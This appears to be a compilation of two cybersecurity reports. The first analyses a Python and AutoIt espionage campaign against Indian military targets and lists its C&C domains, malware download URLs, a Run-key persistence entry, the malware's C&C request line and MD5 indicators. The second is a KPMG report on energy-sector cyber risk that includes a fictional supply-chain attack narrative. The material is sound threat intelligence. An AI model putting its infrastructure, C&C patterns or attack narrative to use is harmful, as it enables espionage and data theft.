Four such installers were identified files with the MD5 hash of: 0392fb51816dd9583f9cb206a2cf02d9, (original name Brief DG Arty-8 30 Aug.scr ) e6d9fce2c6e766b0899ac2e1691b8097, (original name Debriefing Indian Missile Def Prg.scr) e013691e702778fa6dbc35b15555c3c2, (original name HQ Div Sp Eqs 21 Dec 2013 final.scr ) 9d299d3a074f2809985e0317b9c461eb, (original name HQ 19 div CTGY PLAN-Offn Objs.scr ) These are all self-extracting archives (WinRAR SFX RAR and SFX ZIP), which again contain lure documents and a malicious Python installer.
0392fb51816dd9583f9cb206a2cf02d9: These files are all created using the PyInstaller tool.
The archive-viewer.py Python script provided with the PyInstaller package can be used to examine these installers: 1/10 https://www.bluecoat.com/security-blog/2014-06-10/snake-grass-python-based-malware-used-targeted-attacks Most of the objects in these packages are legitimate libraries and components required by the installer itself.
The highlighted send object is where the malicious Python script resides.
And, as Python is a human-readable format, this makes analysis straightforward: Python function made for testing connection to Command Control servers.
Note how worldvoicetrip[.
]com can supply a new CC server (code4) in domain.html.
There are two main functionalities for these scripts: Harvest system information using existing system tools like systeminfo.exe.
This information is attempted uploaded to Command Control (CC) server.
2/10 Download and execute more malicious executables.
Decoy documents The documents accompanying the malware executables seem all related to Indian military matters.
The excerpt below is labeled confidential however the text is taken from a publicly available source at armscontrol.org.
(
https://www.armscontrol.org/act/2013_01-02/Indian-Missile-Defense-Program-Advances) This document contains references to Artillery Firing Data Computing Devices (AFDCDs), which are given to be Casio FX-750 and Casio FX-880-P.
However, these are models of handheld calculators from 30 years ago.
They are not used for military purposes today.
At least, I hope not.
Case expansion 3/10 https://www.armscontrol.org/act/2013_01-02/Indian-Missile-Defense-Program-Advances Case expansion is the process of mapping out connections with other cases and malwares to understand the larger threat picture.
This gives information about what activities are ongoing against whom using what tools and how to mitigate This process involves multiple iterations of pivoting by a great deal of possible parameters similarities in malware, similarities in network traffic, various domain registration and hosting information, passive DNS data etc.
We begin with the beginning what we can learn from the initial malware files.
Command Control hosted malware As shown previously, the CC servers used in these malwares were: games-playbox[.
]com worldvoicetrip[.
]com The latter server was down by the time we noticed the malware, but games-playbox[.
]com still resolved to the IP 176.56.238.177, belonging to AS198203 ASN-ROUTELABEL RouteLabel V.O.F.
in the Netherlands.
Internal and public databases show that this server has been hosting malware for download: hxxp://games-playbox[.
]com/testing1/download/reg.exe hxxp://176.56.238.177/testing2/download/reg.exe hxxp://176.56.238.177/testing2/download/reg1.exe hxxp://176.56.238.177/testing4/download/reg.exe hxxp://176.56.238.177/testing2/download/winrm.exe hxxp://176.56.238.177/testing2/download/sppsvc.exe hxxp://games-playbox[.
]com/winone1/download/stisvc.exe hxxp://games-playbox[.
]com/winone1/download/sppsvc.exe Brute force testing showed that at least subfolders winone2, winone3 and winone4 contained similar content as winone1.
reg.exe, reg1.exe: These are MINGW32 C (not Python) executables which have only one function to insert a registry key that allows other malware to be run on startup.
For example, the executable reg.exe (05dc62dcd4ddc9f2a79c5d23647c25c2) creates the key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SearchC:\dir2\CscService.exe This separation of functions is likely done to avoid detection logic that triggers on software that inserts itself into such run keys.
winrm.exe, stisvc.exe: 4/10 This executable is a data stealer, which enumerates folders and harvests files of format doc, xls, ppt, pps, inp, pdf, xlsx, docx, pptx.
sppsvc.exe: This is a keylogger, which hooks keyboard and mouse events.
In connection with these findings we found that the same Python functionality was sometimes embedded in executable files of a slightly different format namely py2exe.
These files have a different internal structure than PyInstallers, but the embedded scripts can be extracted and decoded using the Python module uncompyle2.
Passive DNS analysis shows that games-playbox[.
]com has shared IP address with other suspicious domains: Rdata results for ANY/176.56.238.177 techto-earth[.
]com.
A 176.56.238.177 games-playbox[.
]com.
A 176.56.238.177 download-mgrwin[.
]com.
A 176.56.238.177 Indeed, techto-earth[.
]com shows up in Google with an entry on the URL checking service URLQuery[.
]net.
5/10 This download link (hxxp://techto-earth[.
]com/eastwing/download/sppsvc.exe) was at the point of writing live, and the downloaded executable (md5 c571b77469ad3c5ef336860605ee85c6) was verified as a PyInstaller-based malware.
Brute force attempts showed that this folder also contained stisvc.exe (md5 f2a1ca02bf4a63a3d4a6c6464f5a925b) and reg.exe these have same functionality as the identically named executables found on games-playbox[.
]com.
The techto-earth[.
]com domain now resolved to the IP address 81.4.125.90, similarly belonging to the Dutch provider RouteLabel.
The domain download-mgrwin[.
]com which shared the IP 81.4.125.90 with techto-earth[.
]com was also found to host similar malware: hxxp://download-mgrwin[.
]com/southside/download1/stisvc.exe md5 6ec82e9eccb9bee050c9f7f2750d0c7c hxxp://download-mgrwin[.
]com/southside/download1/sppsvc.exe md5 acfada8e91eda6cca2da66bbb032d924 hxxp://download-mgrwin[.
]com/eastside/download/sppsvc.exe md5 6dc9eee24f8d5cba1ca3919b87507d86 Nick Agroyes Domain registration information is useful for connecting cases.
Though often falsified, reuse of the same registrant information is common, thus providing a way of linking different domains.
download-mgrwin[.
]com was registered on the email address infocommunication-principals[.
]com, purportedly belonging to one Nick Agroyes: This is a faked record, but the same address was used to register other domains of which some have been documented used by malware - alertmymailsnotify[.
]com, communication-principals[.
]com, servicesprocessing[.
]com and websourceing[.
]com.
communication-principals[.
]com: md5: 664f32f06dd7bd8c94df6edfcf6285da This is an exploited RTF file leveraging the CVE-2012-0158 RTF vulnerability which downloads a file from hxxp://communication-principals[.
]com/vargualm12/putty.exe servicesprocessing[.
]com: 6/10 VirusTotal shows a number of links to malicious executables on this domain.
hxxp://servicesprocessing[.
]com/naspckn/plugins/wsutils.exe hxxp://servicesprocessing[.
]com/naspckn/plugins/shlwapi.exe hxxp://servicesprocessing[.
]com/panomasi/plugins/shlwapi.exe : md5 eeaf96b1988c7016780c0d91ce2451c8 hxxp://servicesprocessing[.
]com/panomasi/plugins/wsutils.exe : md5 4a9a912a8610495029ef3df813272d8a Other registrants The file 4a9a912a8610495029ef3df813272d8a has also been hosted elsewhere, on alertmymail[.
]com: hxxp://alertmymail[.
]com/lotopoto07/plugins/wsutils.exe This domain is registered on the registrant sakanikarediffmail[.
]com.
Other domains owned by this entity are necessaries-documentation[.
]com and accountsloginmail-process[.
]com which show pDNS overlap with the previously mentioned malicious domains.
Passive DNS investigation and malware hosting data shows additional overlaps with the domains newsfairprocessing[.
]com and manufacturing-minds[.
]com.
These domains were registered to the registrant tomhanks542gmail[.
]com.
Malware referenced in relation to these domains is for example: md5: 6f9f2e57eb06c5385f7e9370a71aa34b.
This is a MINGW C keylogger, hosted at: hxxp://newsfairprocessing[.
]com/imopo99/plugins/rpcapd.exe hxxp://necessaries-documentation[.
]com/khtergf5541/plugins/rpcapd.exe AutoIt Though many of the malwares we have examined in this campaign were based on Python, a number of similar malware files were found to be based on a different scripting language AutoIt.
One such malware is known under the family name Emupry or AutoIt/Emupry.
The executable file Quetta_Killings_Footage.exe (md5 387947d5891aeb2c32f231e9abadfcec) connects to the known malicious domain communication-principals[.
]com.
When the AutoIt script is extracted we see that important variables are base64-encoded.
For clarity, these have shown inline as comments below: 7/10 Very similar AutoIt malware was found for the following CC servers (domains in bold were documented in the original Hangover report): MD5 CC domain 8c18852f79f14880ed9bd1d3be2fa48c alertmymail[.
]com ddd6b9bef4d37b43484d1a0eab4753c6 alertmymail[.
]com 99f7cb87a4acbbd2aed2c4e860cd0f5a necessaries-documentation[.
]com 04af2e8a7a1e934ab2000d701948a657 newsfairprocessing[.
]com 1f72e19999d56a11cd564d1f7b0652e7 onestop-shops[.
]com 2683e1d77b20e7aa75ade640ddb522d6 onestop-shops[.
]com 6d6fe7d36e1c43aab534644378d56dfb westdelsys[.
]com 14a11b125f32a5a5773c23021ac4c1a1 manufacturing-minds[.
]com 84e2d98e4b3272b953b63d2021735fd3 cloudone-opsource[.
]com fcccf9cb698297bb686561e7af7dad94 servicesprocessing[.
]com f0ef59265610dedab40f8386af79f861 knight-quest[.
]com HTTP request format Note the form of the HTTP requests used by this AutoIt malware: http://server/folder/online.php?sysname.
The Python malware we mentioned first in this article constructed identical requests: dfiles5 urlopen(http:// getserver foldername /online.php?sysnamecname) This request form was used in a number of Hangover-related cases as well.
Given the similarities in methodology and targeting we consider it highly likely that the current attack malware and the Hangover infrastructures are related.
It points towards the use of the same backend infrastructure, designed to control different types of malware.
8/10 Above: Infrastructure map.
Conclusion This is an operation of far smaller scope than the original Hangover infrastructure but as more capacity is rebuilt this might grow.
We will keep an eye on what happens in this space.
It is noteworthy that they have adopted the use of scripting langauages for this type of data theft scripts are easy to maintain even by novice programmers.
|
173
|
Indicators: Domains accountsloginmail-process[.
| 36,618
| 37,055
| 438
|
data/reports_final/0173.txt
|
Indicators: Domains accountsloginmail-process[.
]com alertmymail[.
]com alertmymailsnotify[.
]com cloudone-opsource[.
]com communication-principals[.
]com devilcreator[.
]com download-mgrwin[.
]com games-playbox[.
]com knight-quest[.
]com manufacturing-minds[.
]com necessaries-documentation[.
]com newsfairprocessing[.
]com onestop-shops[.
]com servicesloginmail-process[.
]com servicesprocessing[.
]com techto-earth[.
]com websourceing[.
]com westdelsys[.
]com worldvoicetrip[.
]com Indicators: IP addresses 9/10 176.56.238.177 213.229.64.222 37.59.175.131 46.32.235.162 81.4.125.90 Indicators: Malware MD5 04af2e8a7a1e934ab2000d701948a657 a24137ea1a87b89f24ecaa0b9cb5382a 14a11b125f32a5a5773c23021ac4c1a1 dedb56941cfaf1a650e38ba2b43c8e2b 1f72e19999d56a11cd564d1f7b0652e7 0392fb51816dd9583f9cb206a2cf02d9 2683e1d77b20e7aa75ade640ddb522d6 6ec82e9eccb9bee050c9f7f2750d0c7c 387947d5891aeb2c32f231e9abadfcec 9d299d3a074f2809985e0317b9c461eb 6d6fe7d36e1c43aab534644378d56dfb acfada8e91eda6cca2da66bbb032d924 84e2d98e4b3272b953b63d2021735fd3 c571b77469ad3c5ef336860605ee85c6 8c18852f79f14880ed9bd1d3be2fa48c e013691e702778fa6dbc35b15555c3c2 99f7cb87a4acbbd2aed2c4e860cd0f5a e6d9fce2c6e766b0899ac2e1691b8097 a8bc0a09b5ee1e9ff40eac10ba0d43ed f2a1ca02bf4a63a3d4a6c6464f5a925b ddd6b9bef4d37b43484d1a0eab4753c6 0739e1aea8c2928b9d1b3bcd145e0bcb f0ef59265610dedab40f8386af79f861 4a9a912a8610495029ef3df813272d8a fcccf9cb698297bb686561e7af7dad94 eeaf96b1988c7016780c0d91ce2451c8 05dc62dcd4ddc9f2a79c5d23647c25c2 f5d4664a607386c342fdd3358ea38962 349583df5921e3d9fca9d4864072f6ca f68eb7db21cd8abf5f60b16ca6c6a5e7 6f9f2e57eb06c5385f7e9370a71aa34b 664f32f06dd7bd8c94df6edfcf6285da 8dbadff3529ca03b8d453a7c9aaf3c6c 6dc9eee24f8d5cba1ca3919b87507d86 Passive DNS data used for this article were provided by Farsight Security, Inc. 10/10 Snake In The Grass: Python-based Malware Used For Targeted Attacks Initial malware Decoy documents Case expansion Conclusion
KPMG GLOBAL ENERGY INSTITUTE Energy at risk A study of IT security in the Energy and Natural Resources industry kpmg.com/energyaspac 1 Shamoon, also known as Disttrack, is a modular computer virus discovered in 2012 that attacks computers running the Microsoft Windows NT line of operating systems.
The virus is being used for cyber espionage in the energy sector.
Its discovery was announced on 16 August 2012 by Symantec, Kaspersky Lab, and Seculert.
2 Operation Night Dragon was a Cyber Attack against energy companies which was exposed by the security company McAfee.
Night Dragon attacks are designed to steal sensitive data from targeted organisations.
Unlike opportunistic attacks, the perpetrators appear to be sophisticated, highly organised, and motivated in their pursuits.
EXECUTIVE SUMMARY Companies now not only face cyber attacks from hacking groups, script kiddies and hactivists, they are also threatened by state-sponsored agencies with limitless resources.
These agencies usually carry out cyber attacks to seek a competitive edge, gain access to intellectual property, or for sheer sabotage.
In other words, cyber threats have never been more pervasive and attack damages never more real.
The situation is especially grim for the Energy and Natural Resources (ENR) industry.
The sector is plagued by two key problems.
For one, top management has traditionally not placed sufficient emphasis on information security.
Also, much more focus is placed on connectivity compared to security.
As a result, the ENR sector has become an enticing and relatively easy target for cyber attacks.
As evidenced in recent cyber incidents Shamoon1 and Night Dragon2, the resultant loss and combined damage, be it substantial or intellectual, would be far greater than the cost of preventive security measures.
In this increasingly insecure environment, senior management should refresh their perspective to safeguard their key corporate assets.
For many organisations in the Asia Pacific, a cyber security-oriented structural transformation might be necessary.
I am convinced that there are only two types of companies: those that have been hacked and those that will be.
And even they are converging into one category: companies that have been hacked and will be hacked again.
Robert S. Mueller, FBI Director RSA Cyber Security Conference March 2012 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
Member firms of the KPMG network of independent firms are affiliated with KPMG International.
KPMG International provides no client services.
No member firm has any authority to obligate or bind KPMG International or any other member firm vis--vis third parties, nor does KPMG International have any such authority to obligate or bind any member firm.
All rights reserved.
What Is Going On The Current Global Situation ...........................................................................1 ENR Related Security Incidents ......................................................................3 General Shamoon Night Dragon Others Overview of Major Problems ..........................................................................4 The Who Why of Cyber Attacks ..............................................................5 Industrial Control System ...............................................................................7 Categorised Active Players .............................................................................7 Various Attack Vectors ....................................................................................8 Impact on companies who fall prey to such attacks.......................................9 How Companies Can Cope The need for action ....................................................................................... 10 So are companies in the ENR industry up to the challenge?
........................
11 Suggested Frameworks ................................................................................ 12 ICS-CERT Recommendation Real life case studies .................................................................................... 13 Conclusion ................................................................................................... 16 References Internal .......................................................................................................... 17 External ......................................................................................................... 18 CONTENTS 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
Member firms of the KPMG network of independent firms are affiliated with KPMG International.
KPMG International provides no client services.
No member firm has any authority to obligate or bind KPMG International or any other member firm vis--vis third parties, nor does KPMG International have any such authority to obligate or bind any member firm.
All rights reserved.
Page 1 The Current Global Situation Cyber threats and IT risks are omnipresent.
Compared to the past when criminals used a scattergun approach, cyber attacks now are much more focused and intelligent.
Let us first take a peek into an attackers world.
What is going on and scanned their externally reachable IP addresses until I found one which had an unpatched vulnerability in their web server: company X.
After a days work, I was inside their network.
Company X is a small organisation and they do not feel they need network segmentation, so I was able to reach all machines on their internal network through that web server.
After some more work, I was able to elevate my privileges to domain administrator, which meant I had full access to all of their systems.
This was where I hit a bump.
I intended to change the source code of their product in such a way that it would allow me to connect remotely to the system of anyone who installed it, but I had never done that before.
I then decided to log on to a hacker forum and posted a request for help.
I offered 10,000 euros reward for a job well done.
After a while, I was approached by someone who was willing to help me.
I asked around to confirm his reputation in this field.
I enlisted his help in modifying the source code of the main product of company X.
The security policies of company Y were very strict: only the system administrators can install software on the workstations, and both incoming and outgoing traffic goes through a proxy server.
Luckily, the virus which my associate hacker had written communicates through DNS, which was not actively monitored or filtered.
The software from company X was updated on a regular basis, and after three weeks I received a message which indicated that I had access to their workstations.
An attackers perspective Understanding the perspective of an attacker is essential for everyone involved in fighting cybercrime.
For that reason, staff in KPMG Netherlands interviewed one of their professionals an ethical hacker.
He relayed us an intriguing fictitious story.
It is up to you to judge how realistic this threat would be to your organisation.
My employer insists on remaining anonymous, but rest assured, he is quite resourceful.
He approached me a few weeks ago with a job offer.
The goal he set was quite ambitious: steal as many secrets from the government as you can.
Let me tell you about the steps I took.
First, I sat down to think about what I knew about the governments IT infrastructure.
At a conference last fall, I had met an IT director of a ministry who had told me that all firewalls for the government were supplied by the same vendor, company Y. Hacking such a firewall was a formidable task - not something I was ready to take on directly.
Instead, I took a more indirect approach.
I logged in to LinkedIn and searched for employees of software development companies who mentioned company Y as one of their clients on their LinkedIn profile.
Many professionals mention prestigious client names in their profile, even when company policy prohibits name dropping.
Shortly after, I found multiple software vendors which make niche software and listed company Y as a client.
I visited the vendors websites I called on my associate hacker once more, but this time for a more advanced task: reprogramming the firmware of the firewalls which company Y produces.
He indicated that he needed the help of a contact who installed a backdoor in all firewalls for another 20,000 euros.
Now, all I needed to do was wait for the next update of the firmware.
I posted some fake security vulnerabilities for the current version of this firmware, to ensure that the firmware would be upgraded timely.
And slowly but surely, I gained access to all internal networks of the government.
I could then route any traffic which flows through any government network through my own computer.
I can also read all emails which are sent between government employees internally.
I can find vulnerable servers by scanning the networks.
In almost all the internal networks, I have found at least one server which I can exploit.
I installed backdoors on hundreds of workstations which allows me the ability to monitor email servers, so emails with interesting attachments can be forwarded to me.
Additionally, I have obtained login credentials for almost all major government databases.
Every day, almost two hundred gigabytes of government secrets are sent to me automatically.
This amount is only limited by the amount of bandwidth I can get, and the number of hard disk drives I install.
Im being paid 100 euros per gigabyte of information.
I will leave it to you to calculate my hourly wage.
2012 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
Member firms of the KPMG network of independent firms are affiliated with KPMG International.
KPMG International provides no client services.
No member firm has any authority to obligate or bind KPMG International or any other member firm vis--vis third parties, nor does KPMG International have any such authority to obligate or bind any member firm.
All rights reserved.
Page 2 The sad truth is that cybercrime is here to stay.
A report by the Government Accountability Office indicated that 24 key government agencies in the United States have logged a 650 percent increase in cyber security incidents in 2011 compared to five years ago.
According to a survey by KPMG Netherlands, 49 percent of organisations have experienced some form of cybercrime activity during the past 12 months while the remaining may not even have proper detection measures in place.
Among the 49 percent, 10 percent indicated that they have been attacked more than 100 times within the past year.
The remaining respondents said they were attacked successfully up to five times last year.
Most of the incidents were not covered by the media and are therefore not publicly known.
Information leakage most common Globally, information leakage is one of the most common challenges faced by organisations.
Opening an email containing a virus from a hacker can allow perpetrators to seize control of your computer, read your emails and record your passwords.
Information leakage is in fact one of the most common types of incidents across the world and can easily take place in your daily life.
Take for example that you have made a donation to a local charity.
In recognition of your contribution, the organisation lists your name on their website as a sponsor.
Two days later, you receive an email from the Fundraising Chair asking you to confirm your donation.
You open the email, fill out the form (you are also careful not to include any banking or sensitive information) and return it to the sender.
But in reality, the email didnt come from the charity at all the attachment was, in fact, a high quality fake containing a virus, allowing perpetrators to seize control of your computer, read your emails and record your passwords.
Everything you know or see is now visible to the perpetuators.
Clearly, information leakage is rapidly becoming a board-level risk.
A 2012 survey by KPMG suggest that more than three-quarters of the Forbes 2000 companies leak potentially dangerous data (See Figure 1 below).
Personal information and financial data are often lost due to hacking, system failure, human negligence and disgruntled employees.
Some countries have already enacted legislation to curb such problems.
The European Commissions General Data Protection Regulation released in 2012 states that companies have the obligation to protect their network and personal information.
Companies must also notify relevant authorities within 24 hours after a serious breach, or face a penalty of up to one million Euros or two percent of turnover.
It is worth noting that hacktivist groups are often the agents responsible for information leakage.
For instance, members of Anonymous, a famous hacktivist group, are not only known for bringing down commercial systems and websites, they have also infiltrated into commercial organisations computer systems, exposing correspondence and personal data to the public in the process.
In 2010, Anonymous penetrated Sonys network and cost the latter US170 million dollars in reparation for the unauthorised disclosure of customers names and credit card numbers.
Another Anonymous affiliate group AntiSec dumped over 860,000 user credentials including 75,000 sets of personal and financial information into the open Internet after breaking into the firm Stratfors systems.
During the past few years, industries all around the globe have witnessed for the first time carefully engineered and profoundly complex attacks such as Stuxnet, Night Dragon and Shamoon (these will be described later in the document).
Cyber security has become a grim issue that no one can avoid.
Figure 1: Heat map of information leaking countries Source: KPMG Cyber Vulnerability Index 2012 Very hot Hot Warm 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
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ENR Related Security Incidents General Of all the potential marks at crosshair, the ENR industry is one of the most attractive targets for cyber criminals.
According to the United States (US) Department of Homeland Security News Wire published in April 2012, American water and energy companies deal with a constant barrage of cyber attacks on a daily basis.
These incidents usually take the form of cyber espionage or denial-of- service (DoS)3 attacks against the utilities industrial-control systems.
According to a survey report released by The Centre for Strategic and International Studies in 2010, critical infrastructure firms such as power grids, industrial control networks and oil refineries are facing staggering level of cyber attacks, and are not adequately prepared to defend themselves.
In April 2012, the US Cyber Security response team warned of attacks upon the gas industry.
The Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) reported a number of cyber intrusions targeting gas pipeline companies.
Analysis of the attacks confirmed they are part of an ongoing campaign dating back to December 2011 and indicated Spear Phishing was used to target a number of specific individuals across the gas pipeline industry.
Spear phishing is an e-mail spoofing fraud attempt that targets a specific organisation, seeking unauthorised access to confidential data.
Shamoon On 15 August 2012, Saudi Aramco, a large national oil and gas company with global operations, announced that they had to disconnect their IT systems from the Internet while dealing with a serious disruption of their network.
The disruption, which continued for two weeks, was the result of a cyber attack that used a computer virus to disable over 30,000 of the companys workstations.
The virus, later named as Shamoon, was the first significant cyber attack on a commercial target to cause real damage.
It is also the most destructive attack the private sector has experienced to date.
Later in the same month Rasgas, a main player in the Qatari Liquid and Natural Gas scene, was also hit by the Shamoon (as per security experts) virus and consequently forced to bring their entire network offline.
Night Dragon Another series of cyber incidents in the ENR sector were dubbed collectively by security company McAfee as Night Dragon.
McAfee believes that these attacks on global oil, energy and petrochemical companies may have started as early as in 2007.
Evidence from McAfee has shown that this series of well-coordinated and specifically focused attacks involve a myriad of different techniques and methods.
The primary target seems to be any financial information related to bids and oil-and-gas operations.
McAfee also pointed out that all the attacks took place regularly during weekdays from 9am to 5pm in GMT 8 time zone, which matched with the source location as determined by the IP address, thus pointing at the high possibility of company men being hired to perform the job systematically.
Others There are many more cyber security incidents which have taken place in the ENR industry.
In 2011, a Canadian-based company which supplies remote administration and monitoring tools to Fortune 100 energy companies reported that it had suffered a security breach.
Upon breaching the corporate network, the attackers installed malicious software on computers and stole information related to a remote administration tool which the company supplies.
Another incident of more recent times occurred in early 2013.
In February 2013, the US Department of Energy confirmed that computers and servers at its Washington headquarters were compromised in the previous month.
In this attack, personally identifiable information of several hundred employees and contractors may have been compromised.
Seemingly non-critical at first glance, this information may however be used to further future attacks into having serious consequences.
3 A denial-of-service (DoS) attack or distributed denial-of- service (DDoS) attack is an attempt to make a machine or network resource unavailable to its intended users.
In another case, unidentified hackers helped a manufacturer in China obtain the breakthrough design of a wind turbine by an energy company in the United Kingdom.
The Chinese manufacturer subsequently made and sold the product at a much lower price, driving the original company in the UK into closure.
DoS attacks represent yet another form of cyber security attacks which cause huge financial losses and massive damage to companies in the ENR sector.
A report published by McAfee in 2011 stated that four out of every five oil, gas and power companies have suffered at least one DoS attack in 2011.
Cyber attacks are also increasingly escalating into cyber warfare.
In an October 2012 Wall Street Journal article, U.S. officials noted that Iranian hackers with government ties have mounted cyber attacks in 2012 against American targets, escalating a low-grade cyber war ...
The Iranian effort culminated in a series of attacks against U.S. banks as well as electronic assaults on energy companies in the Persian Gulf.
These incidents clearly show the increasing severity of cyber attacks and give an idea on how important cyber security will be in the future.
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Overview of Major Problems The obvious question to ask is why these various organisations are so vulnerable in the face of cyber attackers.
In 2012, Carnegie Mellon University conducted their yearly survey for largest American companies.
The results indicated that more than 70 percent of C-Suite executives and members of the board are not actively involved in the protection of their company data.
They are also rarely involved in the inspection of key employees working on information security or the revision of corporate-wide policies in this aspect.
A similar trend has been observed by the Government Accountability Office in American government agencies.
Despite receiving numerous security recommendations each year, companies were not implementing these properly.
Key personnel were also not being trained adequately.
In addition, there is a lack of proper monitoring on security controls or appropriate key performance indicators to assess improvement.
The ENR sector is critical as it powers the growth of almost every economy in the world.
The sector can be broadly divided into three categories: electricity, petroleum and natural gas.
In the electricity category, both automation systems and utilities controls of electricity infrastructure are built on a complicated system known as the Supervisory Control and Data Acquisition (SCADA).
Similarly, the production and distribution of petroleum and natural gas are heavily dependent on systems similar to SCADA.
Unfortunately, such industrial infrastructure control systems have been facing a severe legacy problem in recent years.
They have been rashly connected to the Internet for remote accessibility without implementing adequate security measures.
This has in turn led to higher chances of such systems falling prey to cyber attacks.
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In this era of information and connectivity, malicious hackers are able to easily find information assets as targets in a corporate network.
What is at stake is financially valuable data such as mergers-and-acquisitions plans, transaction records, quarterly/ annual reports and internet banking details.
Strategic information including intellectual property, contact details of senior executives, records of legal disputes and various trade secrets are also at risk.
In addition, personal data like employees addresses and date of birth, once compromised might very well be used in facilitating identity theft.
Last but not least, process control networks are being increasingly favoured by attackers given their vast potential in bringing about significant impact, as proven in the famous Stuxnet case4 and other incidents described earlier.
Given how the numerous production and exploration activities carried out by energy companies are dependent on these networks, this trend is of particular relevance and importance to the ENR sector.
A 2011 report by KPMG has shown that oil and gas operations are amongst the top 10 sectors which suffer from the most information leakages worldwide.
Information leakages involving oil and gas operations account for six percent of all security incidents.
Some of the sources of leakage are within the direct control of the corporation and can be prevented if companies put in the effort.
These sources include websites, documents and web servers.
However, there are also other channels such as popular search engines and forums which are outside of the usual enterprise security curtain and pose a much more complex challenge.
The KPMG report also revealed that 78 percent of Forbes 2000 corporate websites leak some form of potentially useful information through their document meta-data.
4 Stuxnet is a computer worm discovered in June 2010 that is believed to have been created to attack Irans nuclear facilities.
Stuxnet initially spreads via Microsoft Windows, and targets Siemens industrial software and equipment.
Kaspersky Lab concluded that the sophisticated attack could only have been conducted with nation-state support.
Different variants of Stuxnet targeted five Iranian organizations, with the probable target widely suspected to be uranium enrichment infrastructure in Iran Document meta-data is information about a document, or information on its properties.
It often informs who created a document, when and where on a device or network.
According to version information retrieved from document meta-data, 71 percent of the 2000 companies may be using potentially vulnerable and out- dated versions of Microsoft and Adobe software.
Furthermore, 16 percent of corporate web servers may be vulnerable to attack due to missing security patches or out-dated server software.
Many instances of un-patched and unsupported web server software were found to be serving Forbes 2000 corporate websites.
The who why of cyber attacks Page 5 Figure 2: Number of potentially sensitive file locations on the Forbes 2000 corporate websites by sector 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
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Part of KPMGs research focused on the structure of the Forbes 2000 corporate websites to identify any potentially sensitive file locations or hidden functionality that may be useful to cyber attackers.
A number of file locations marked private were also identified, hosting documents that were not intended for public consumption (See Figure 2 below).
The direct result is that out of all the servers used for corporate websites, 15 percent offer hacker access to test functionality and private login portals that potentially allow file upload capabilities that could likely lead to full take-over of servers by cyber attackers.
Oil Gas operations have also emerged in the list of top 10 sectors that post most information to public forums and newsgroups.
There are as many as 88,681 of such postings in newsgroup alone, according to the report.
If past experience has taught us anything, it is that cyber attackers and organised crime do not target one avenue of attack.
Instead, they use a combination of available information leaks to profile a target, and map out the targets internal systems and their components.
It is important to emphasise that the processes used to gather the information leaks mentioned above are not sophisticated and available to anyone with access to the Internet and little more than a web browser.
Page 6 Figure 2: Number of potentially sensitive file locations on the Forbes 2000 corporate websites by sector 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
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Industrial Control System The problem is even worse when it comes to control systems which are widely adopted by ENR industries, as explained by chief cyber security strategist from Computer Sciences Corporation (CSC ), Donald Purdy.
Purdy, formerly a cyber official at the Department of Homeland Security, mentioned during a major security conference in San Francisco in 2012: These are older systems so they are harder to control.
And for convenience and cost savings, people have connected them to the internet in order to control them from remote locations.
So this is almost a perfect storm in terms of vulnerability because the nation is so dependent on these systems This is a significant security issue for the United States and frankly for the world.
In the monthly monitor report released last September by the US Industrial Control Systems Cyber Emergency Response Team (ICS-CERT), it was also mentioned that the positive aspects of better connectivity were overshadowed by the introduction of significant vulnerabilities.
For instance, Justin W. Clarke, a 30-year-old cyber security researcher and electric utility expert discovered two major vulnerabilities in 2012 on Siemens RuggedCom equipment which is extensively used by companies in communicating with power stations situated in different locations.
The first vulnerability is essentially a secret back door which would easily allow hackers remote access into the equipment.
The second vulnerability makes it possible for hackers to intercept the network traffic between operator and devices which may contain authentication credentials.
Potential attackers could take advantage of such flaws to manipulate power stations or use these flaws to launch another set of attacks on a much larger scale.
The situation is made even worse when independent researchers release and circulate system flaws and vulnerabilities for reference and countermeasure studies.
While the intention behind such documents might be good, the direct consequence is that many could now easily gain access to dangerous and powerful weapons such as the code of Stuxnet, which can cause immense damage to critical infrastructures.
In contrast to the published vulnerabilities, certain manufacturers of critical system controllers are reacting way too slowly which have resulted in research groups like Digital Bond, releasing exploits for these vulnerabilities in order to stimulate the patching and upgrading efficiency.
When it comes to electrical power, technology is also a double-edged sword.
While advances in smart grid technologies have helped better detect power theft and reduce power loss with smart meters been recently deployed in countries such as in Serbia and Brazil, these technologies also give rise to possibilities of their advanced functionalities being used for shady purposes.
For instance, two demonstrations at Security B-Sides and Black Hat conferences illustrated that hackers could basically tweak the smart metres currently in use to perform functionalities as they wish, which include changing of temperature, controlling of lighting and even cutting of power during emergencies.
As a side note on corporate security policies and procedures, the Saudi Aramco incident where large number of business computers were disabled, also highlighted importance of monitoring network attacks initiated by inside personnel and the potential danger of using portable storage media like thumb drives.
Categorised Active Players Over the years, two major shifts in trends have been observed in terms of cyber attacks.
Firstly, the targets are shifting from individual organisations to chains of related companies.
Secondly, the main components of attackers have shifted from script kiddies to criminal groups, with the latter being much more specialised and coordinated.
Some of the major players include: organised cyber criminals who are most known for mass stealing of personal identities and financial data, state or corporate sponsored espionage like the Night Dragon operation which aims to steal critical intellectual and business information, hacktivists such as Wikileaks, Anonymous and LulzSec who have amassed a large number of supporters and participants, malicious inside personnel, as in the case of Bradley Edward Manning, a United States Army soldier who was arrested in May 2010 in Iraq on suspicion of having passed classified material to the website WikiLeaks.
Just as attacks have evolved, companies too must evolve by re-evaluating their own ability to detect, defend and respond to cyber attacks.
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Various Attack Vectors Cyber incidents can be loosely divided into three categories.
The first category is accidental events due to human error, system failure or unanticipated accidents.
The second category refers to unauthorised access into networks and systems by hackers or employees.
The third category does not require actual access as it usually causes denial of service or loss of data.
Attack methods could involve complicated and coordinated efforts to beat the cyber security protection mechanism and intelligence reconnaissance, followed by social engineering techniques for acquiring of target information.
There are six most common types of security failings.
These are shared accounts, weak passwords, lack of effective network monitoring, lack of effective Web monitoring, absence of logging and absence of log analysis.
Lack of user awareness also provides more opportunities for social engineering attempts to succeed.
Examples of such attempts include luring Internet users into execution of malware and Spear Phishing.
(
See Figure 3 below).
A group of attackers who are particularly good at social engineering is Anonymous.
These hackers typically exploit easy-to- guess passwords of users or use emails to trick users into revealing confidential information or into clicking links which lead to the download of malicious software.
However, Anonymous is not the only group of people who are familiar with this technique.
In fact, cyber criminals and state-sponsored attackers have been practising it for a far longer time.
